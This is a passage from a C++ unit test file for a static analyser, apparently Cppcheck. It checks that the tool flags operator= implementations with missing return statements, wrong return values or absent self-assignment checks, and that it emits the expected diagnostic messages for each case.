checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis3() {\n // ticket # 1405\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return (*this = 0); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return (*this = 0); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return operator = (*(int *)other); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return this->operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis( // #9045\n \"class V {\\n\"\n \"public:\\n\"\n \" V& operator=(const V& r) {\\n\"\n \" if (this == &r) {\\n\"\n \" return ( *this );\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis4() {\n // ticket # 1451\n checkOpertorEqRetRefThis(\n \"P& P::operator = (const P& pc)\\n\"\n \"{\\n\"\n \" return (P&)(*this += pc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis5() {\n // ticket # 1550\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"protected:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"private:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" throw std::exception();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" abort();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A :: operator=(const A &a) { }\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis6() { // ticket #2478 (segmentation fault)\n checkOpertorEqRetRefThis(\n \"class UString {\\n\"\n \"public:\\n\"\n \" UString& assign( const char* c_str );\\n\"\n \" UString& operator=( const UString& s );\\n\"\n \"};\\n\"\n \"UString& UString::assign( const char* c_str ) {\\n\"\n \" std::string tmp( c_str );\\n\"\n \" return assign( tmp );\\n\"\n \"}\\n\"\n \"UString& UString::operator=( const UString& s ) {\\n\"\n \" return assign( s );\\n\"\n \"}\");\n }\n\n void operatorEqRetRefThis7() { // ticket #5782 Endless recursion in CheckClass::checkReturnPtrThis()\n checkOpertorEqRetRefThis(\n \"class basic_fbstring {\\n\"\n \" basic_fbstring& operator=(int il) {\\n\"\n \" return assign();\\n\"\n \" }\\n\"\n \" basic_fbstring& assign() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replaceImplDiscr() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replace() {\\n\"\n \" return replaceImplDiscr();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal checks for assignment to self\n#define checkOpertorEqToSelf(...) checkOpertorEqToSelf_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqToSelf_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.operatorEqToSelf();\n }\n\n void operatorEqToSelf1() {\n // this test has an assignment test but it is not needed\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { if (&a != this) { } return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but it is not needed\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this class needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { if (&a != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a == this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) == true)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) != false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (!((&a == this) == false))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a != this) == false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" free(s);\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n\n // this test needs an assignment test but doesn’t have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // ticket #1224\n checkOpertorEqToSelf(\n \"const SubTree &SubTree::operator= (const SubTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(*b.tree);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"const SubTree &SubTree::operator= (const CodeTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(b);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void operatorEqToSelf2() {\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { if (&b != this) { } return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:13]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { if (&b != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"[test.cpp:11:14]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf3() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf4() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf5() {\n // ticket # 1233\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"struct A {\\n\"\n \" char *s;\\n\"\n \" A& operator=(const B &b);\\n\"\n \"};\\n\"\n \"A& A::operator=(const B &b) {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf6() {\n // ticket # 1550\n 